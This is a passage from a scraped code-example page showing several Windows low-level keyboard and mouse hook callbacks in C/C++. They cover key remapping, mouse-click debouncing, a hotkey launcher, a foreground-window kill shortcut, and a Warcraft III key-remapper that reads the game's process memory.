      if (newpos->flags & SWP_NOMOVE) {
        return CallNextHookEx(NULL, nCode, wParam, lParam);
      }
    }

    sbWindowMoveService::resizing_t::iterator it = 
     self->mResizing.find(msg->hwnd);

    if(it == self->mResizing.end()) {
      self->mResizing.insert(std::make_pair<HWND, bool>(msg->hwnd, true));
      CallListenerMoveStarted(msg->hwnd, self->mListeners);
    }
    else if(!it->second) {
      it->second = true;
      CallListenerMoveStarted(msg->hwnd, self->mListeners);
    }
  }
  else if(msg->message == WM_WINDOWPOSCHANGED) {
    sbWindowMoveService::resizing_t::iterator it = 
      self->mResizing.find(msg->hwnd);

    if(it != self->mResizing.end() &&
       it->second == true) {
      
      nsCOMPtr<nsITimer> timer;
      timers_t::iterator itTimer = self->mTimers.find(msg->hwnd);
      if(itTimer == self->mTimers.end()) {
        nsresult rv = NS_ERROR_UNEXPECTED;
        
        timer = do_CreateInstance("@mozilla.org/timer;1");
        self->mTimers.insert(
          std::make_pair<HWND, nsCOMPtr<nsITimer> >(msg->hwnd, timer));
      }
      else {
        timer = itTimer->second;
      }

      if(timer) {
        self->mTimersToWnd.insert(
          std::make_pair<nsITimer*, HWND>(timer.get(), msg->hwnd));
        timer->InitWithCallback(self, 1000, nsITimer::TYPE_ONE_SHOT);
      }
    }
  }

  return CallNextHookEx(NULL, nCode, wParam, lParam);
}
Esempio n. 26
0
LRESULT CALLBACK KeyboardHook(int code, WPARAM wParam, LPARAM lParam)
{
	if (code != HC_ACTION) return CallNextHookEx(NULL, code, wParam, lParam);

	if (!myState) return CallNextHookEx(NULL, code, wParam, lParam);

	switch (wParam)
	{
	case WM_KEYDOWN:
	case WM_KEYUP:
	case WM_SYSKEYDOWN:
	case WM_SYSKEYUP:	{
							PKBDLLHOOKSTRUCT hks = (PKBDLLHOOKSTRUCT)lParam;
							// SendInput
							switch (hks->vkCode) {
							case 'F':
							case 'B':
							case '4':
							case '6':
							case '0':
							case 'H':
							case 'J':
							case 'K':
							case 'L':{
										 //DWORD extended = (0x1000000 & lParam) >> 24; // Check if KEYEVENTF_EXTENDEDKEY
										 BYTE scanCode = (0xFF0000 & lParam) >> 16;

										 // Check if KEYEVENTF_KEYUP, otherwise will be set to down
										 LPARAM dwFlags = (wParam == WM_KEYUP || wParam == WM_SYSKEYUP) ? KEYEVENTF_KEYUP : 0;
										 dwFlags |= KEYEVENTF_EXTENDEDKEY;
										 dwFlags |= KEYEVENTF_SCANCODE;

										 INPUT ip;
										 ZeroMemory(&ip, sizeof(ip));
										 ip.type = INPUT_KEYBOARD;
										 switch (hks->vkCode) {
										 case 'H':
											 ip.ki.wVk = VK_LEFT; 
											 break;
										 case 'J':
											 ip.ki.wVk = VK_DOWN;
											 break;
										 case 'K':
											 ip.ki.wVk = VK_UP;
											 break;
										 case 'L':
											 ip.ki.wVk = VK_RIGHT;
											 break;
										 case '4':
											 ip.ki.wVk = VK_END;
											 break;
										 case '6':
										 case '0':
											 ip.ki.wVk = VK_HOME;
											 break;
										 case 'F':
											 ip.ki.wVk = VK_NEXT;
											 break;
										 case 'B':
											 ip.ki.wVk = VK_PRIOR;
											 break;
										 }
										 ip.ki.wScan = MapVirtualKey(ip.ki.wVk, MAPVK_VK_TO_VSC);
										 ip.ki.dwFlags = dwFlags;
										 ip.ki.time = 0;
										 ip.ki.dwExtraInfo = 0;
										 SendInput(1, &ip, sizeof(ip));
										 return 1;						}
							}
							break;
	}
	}

	return CallNextHookEx(NULL, code, wParam, lParam);
}
Esempio n. 27
0
	LRESULT hookMouseLl(int nCode, WPARAM wParam, LPARAM lParam) {
		bool callNext = true;

		if(nCode >= 0) {
			MSLLHOOKSTRUCT* msll = reinterpret_cast<MSLLHOOKSTRUCT*>(lParam);

			// --------------------------------------------------------------------------
			/**
				押下時のチャタリング

					--u---	d-----------------
					--u---	dud---------------
					--u---	dudud-------------

				離し時のチャタリング

					--d--	u-----------------
					--d--	udu---------------
					--d--	ududu-------------

				ドラッグ時のチャタリング (用語間違い? 接触や通信不良のこと)

					d-------dud-------
			 */
			//---------------------------------------------------------------------------
			switch(wParam) {
			case WM_LBUTTONDOWN:
				{
					Time currentTime = getCurrentTime();
					//	チャタリングが発生しているか?
					if(isChattering(prevLeftUpTime, currentTime) || isChattering(prevLeftDownTime, currentTime)) {
						//	してるっぽいので何もしない
						callNext = false;
					}
					prevLeftDownTime = currentTime;
					break;
				}
			case WM_LBUTTONUP:
				{
					Time currentTime = getCurrentTime();
					//	チャタリングが発生しているか?
					if(isChattering(prevLeftDownTime, currentTime) || isChattering(prevLeftUpTime, currentTime)) {
						//	してるっぽいので何もしない
						callNext = false;
					}
					prevLeftUpTime = currentTime;
					break;
				}

			case WM_RBUTTONDOWN:
				{
					Time currentTime = getCurrentTime();
					//	チャタリングが発生しているか?
					if(isChattering(prevRightUpTime, currentTime)) {
						//	してるっぽいので何もしない
						callNext = false;
					}
					prevRightDownTime = currentTime;
					break;
				}
				break;
			case WM_RBUTTONUP:
				{
					Time currentTime = getCurrentTime();
					//	チャタリングが発生しているか?
					if(isChattering(prevRightDownTime, currentTime)) {
						//	してるっぽいので何もしない
						callNext = false;
					}
					prevRightUpTime = currentTime;
					break;
				}
				break;

			case WM_MOUSEMOVE:
			case WM_MOUSEWHEEL:
			default:
				break;
			}
		}

		if(callNext) {
			return CallNextHookEx(hook, nCode, wParam, lParam);
		} else {
			return 1;
		}
	}
Esempio n. 28
0
// The command below tells the OS that this EXE has an export function so we can use the global hook without a DLL
__declspec(dllexport) LRESULT CALLBACK g_LLKeyboardHookCallback(
   int nCode,      // The hook code
   WPARAM wParam,  // The window message (WM_KEYUP, WM_KEYDOWN, etc.)
   LPARAM lParam   // A pointer to a struct with information about the pressed key
) 
{
	/*	typedef struct {
	    DWORD vkCode;
	    DWORD scanCode;
	    DWORD flags;
	    DWORD time;
	    ULONG_PTR dwExtraInfo;
	} KBDLLHOOKSTRUCT, *PKBDLLHOOKSTRUCT;*/
	
	// Get out of hooks ASAP; no modal dialogs or CPU-intensive processes!
	// UI code really should be elsewhere, but this is just a test/prototype app
	// In my limited testing, HC_ACTION is the only value nCode is ever set to in CE
	static int iActOn = HC_ACTION;
	PROCESS_INFORMATION pi;
	int i;
	bool processed_key=false;
	if (nCode == iActOn) 
	{ 
		PKBDLLHOOKSTRUCT pkbhData = (PKBDLLHOOKSTRUCT)lParam;
		if ( (wParam == WM_KEYUP) && (processed_key==false) )
		{
			Add2Log(L"# hook got 0x%02x (%i). Looking for match...\r\n", pkbhData->vkCode, pkbhData->vkCode);
			BOOL bMatchFound=FALSE;
			for (i=0; i<=lastKey; i++) 
			{
				if (pkbhData->vkCode == kMap[i].keyCode)
				{
					bMatchFound=TRUE;
					DEBUGMSG(1, (L"# hook Catched key 0x%0x, launching '%s'\n", kMap[i].keyCode, kMap[i].keyCmd));
					Add2Log(L"# hook Matched key 0x%0x, launching '%s'\n", kMap[i].keyCode, kMap[i].keyCmd);
					runStruct run;
					run.szCmd=kMap[i].keyCmd;
					run.szArg=kMap[i].keyArg;
					hThread = CreateThread(NULL, 0, runExe, &run, 0, &dwThreadID);
					//if (CreateProcess(kMap[i].keyCmd, kMap[i].keyArg, NULL, NULL, NULL, 0, NULL, NULL, NULL, &pi))
					//{
					//	Add2Log(L"# hook CreateProcess OK\r\n", FALSE);
					//	CloseHandle(pi.hProcess);
					//	CloseHandle(pi.hThread);
					//}
					//else{
					//	Add2Log(L"# hook CreateProcess FAILED. LastError=%i (0x%x)\r\n", GetLastError(), GetLastError());
					//}
					processed_key=true;
					Add2Log(L"# hook processed_key is TRUE\r\n", FALSE);

				}
			}
			if(!bMatchFound)
				Add2Log(L"# hook No match found\r\n", FALSE);
		}
		else if(wParam == WM_KEYDOWN){
			Add2Log(L"# hook got keydown: %i (0x%x). processed_key is '%i'\r\n", pkbhData->vkCode, pkbhData->vkCode, processed_key);
		}
	}
	//shall we forward processed keys?
	if (processed_key)
	{
		if (bForwardKey){
			Add2Log(L"# hook bForwardKey is TRUE. Resetting processed_key\r\n", FALSE);
			processed_key=false; //reset flag
			Add2Log(L"# hook CallNextHookEx() with processed_key=false\r\n", FALSE);
			return CallNextHookEx(g_hInstalledLLKBDhook, nCode, wParam, lParam);
		}
		else{
			Add2Log(L"# hook bForwardKey is FALSE. Returning...\r\n", FALSE);
			return true;
		}
	}
	else{
		Add2Log(L"# hook CallNextHookEx()\r\n", FALSE);
		return CallNextHookEx(g_hInstalledLLKBDhook, nCode, wParam, lParam);
	}
}
Esempio n. 29
0
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
  if (nCode == HC_ACTION) {
    int vkey = ((PKBDLLHOOKSTRUCT)lParam)->vkCode;

    if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
      // Check for Ctrl+Alt+F4
      if (vkey == VK_LCONTROL) {
        ctrl = 1;
      }
      else if (vkey == VK_LMENU) {
        alt = 1;
      }
      else if (ctrl && alt && vkey == VK_F4) {
        // Double check that Ctrl and Alt are being pressed.
        // This prevents a faulty kill if we didn't received the keyup for these keys.
        if (!(GetAsyncKeyState(VK_LCONTROL)&0x8000)) {
          ctrl = 0;
          return CallNextHookEx(NULL, nCode, wParam, lParam);
        }
        else if (!(GetAsyncKeyState(VK_LMENU)&0x8000)) {
          alt = 0;
          return CallNextHookEx(NULL, nCode, wParam, lParam);
        }

        // Get hwnd of foreground window
        HWND hwnd = GetForegroundWindow();
        if (hwnd == NULL) {
          return CallNextHookEx(NULL, nCode, wParam, lParam);
        }

        // Kill it!
        Kill(hwnd);

        // Prevent this keypress from being propagated
        return 1;
      }
      // Check for [the windows key]+F4
      else if (vkey == VK_LWIN) {
        win = 1;
      }
      else if (win && vkey == VK_F4) {
        // Double check that the windows button is being pressed
        if (!(GetAsyncKeyState(VK_LWIN)&0x8000)) {
          win = 0;
          return CallNextHookEx(NULL, nCode, wParam, lParam);
        }

        // Hook mouse
        HookMouse();
        // Prevent this keypress from being propagated
        return 1;
      }
      else if (vkey == VK_ESCAPE && mousehook) {
        // Unhook mouse
        UnhookMouse();
        // Prevent this keypress from being propagated
        return 1;
      }
    }
    else if (wParam == WM_KEYUP || wParam == WM_SYSKEYUP) {
      killing = 0;
      if (vkey == VK_LCONTROL) {
        ctrl = 0;
      }
      else if (vkey == VK_LMENU) {
        alt = 0;
      }
      else if (vkey == VK_LWIN) {
        win = 0;
      }
    }
  }

  return CallNextHookEx(NULL, nCode, wParam, lParam);
}
Esempio n. 30
-25
//定义全局的底层键盘钩子回调函数
LRESULT CALLBACK LowLevelKeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
	//获取最前端窗口
	topWnd = GetForegroundWindow();

	//通过读取内存信息来判断是否为聊天模式
	//获取窗口进程ID
	DWORD processid;
	::GetWindowThreadProcessId(m_hwar3,&processid);
	//打开指定进程
	HANDLE processH=::OpenProcess(PROCESS_ALL_ACCESS,false,processid);
	//读指定进程 内存数据
	LPCVOID pbase=(LPCVOID)0x6FAE8450; //数据基址 通过此数据来判断聊天模式,通过CE查找。
	int chatStatus;
	//LPVOID  nbuffer=(LPVOID)&chatNum;

	::ReadProcessMemory(processH,pbase,&chatStatus,4,NULL);
	if (chatStatus)
	{
		return CallNextHookEx(m_hkeyboard,nCode,wParam,lParam);
	}
	if (topWnd==m_hwar3)  //如果最前端的窗口是魔兽争霸的窗口,则开启改键功能
	{
		PKBDLLHOOKSTRUCT kbstruct;
		if(0==PostMessage(m_hwar3,WM_KEYDOWN,0x4C,1))
		{
			ASSERT(0);
			return  1;
		}

		if (WM_KEYDOWN==wParam)
		{
			kbstruct=(PKBDLLHOOKSTRUCT)lParam;
			//修改小键盘
			if ((int)g_num1[0]==kbstruct->vkCode)
			{
				keybd_event(VK_NUMPAD1,0,0,0);
				keybd_event(VK_NUMPAD1,0,KEYEVENTF_KEYUP,0);
				return 1;
			}
			if ((int)g_num2[0]==kbstruct->vkCode)
			{
				keybd_event(VK_NUMPAD2,0,0,0);
				keybd_event(VK_NUMPAD2,0,KEYEVENTF_KEYUP,0);
				return 1;
			}
			if ((int)g_num4[0]==kbstruct->vkCode)
			{
				keybd_event(VK_NUMPAD4,0,0,0);
				keybd_event(VK_NUMPAD4,0,KEYEVENTF_KEYUP,0);
				return 1;
			}
			if ((int)g_num5[0]==kbstruct->vkCode)
			{
				keybd_event(VK_NUMPAD5,0,0,0);
				keybd_event(VK_NUMPAD5,0,KEYEVENTF_KEYUP,0);
				return 1;
			}
			if ((int)g_num7[0]==kbstruct->vkCode)
			{
				keybd_event(VK_NUMPAD7,0,0,0);
				keybd_event(VK_NUMPAD7,0,KEYEVENTF_KEYUP,0);
				return 1;
			}
			if ((int)g_num8[0]==kbstruct->vkCode)
			{
				keybd_event(VK_NUMPAD8,0,0,0);
				keybd_event(VK_NUMPAD8,0,KEYEVENTF_KEYUP,0);
				return 1;
			}

			//修改技能键
			if ((int)g_newmag1[0]==kbstruct->vkCode && (int)g_oldmag1[0]!=0)
			{
				keybd_event(g_oldmag1[0],0,0,0);
				keybd_event(g_oldmag1[0],0,KEYEVENTF_KEYUP,0);
				return 1;
			}
			if ((int)g_newmag2[0]==kbstruct->vkCode && (int)g_oldmag2[0]!=0)
			{
				keybd_event(g_oldmag2[0],0,0,0);
				keybd_event(g_oldmag2[0],0,KEYEVENTF_KEYUP,0);
				return 1;
			}
			if ((int)g_newmag3[0]==kbstruct->vkCode && (int)g_oldmag3[0]!=0)
			{
				keybd_event(g_oldmag3[0],0,0,0);
				keybd_event(g_oldmag3[0],0,KEYEVENTF_KEYUP,0);
				return 1;
			}
			if ((int)g_newmag4[0]==kbstruct->vkCode && (int)g_oldmag4[0]!=0)
			{
				keybd_event(g_oldmag4[0],0,0,0);
				keybd_event(g_oldmag4[0],0,KEYEVENTF_KEYUP,0);
				return 1;
			}

		}
	}

	return CallNextHookEx(m_hkeyboard,nCode,wParam,lParam);
}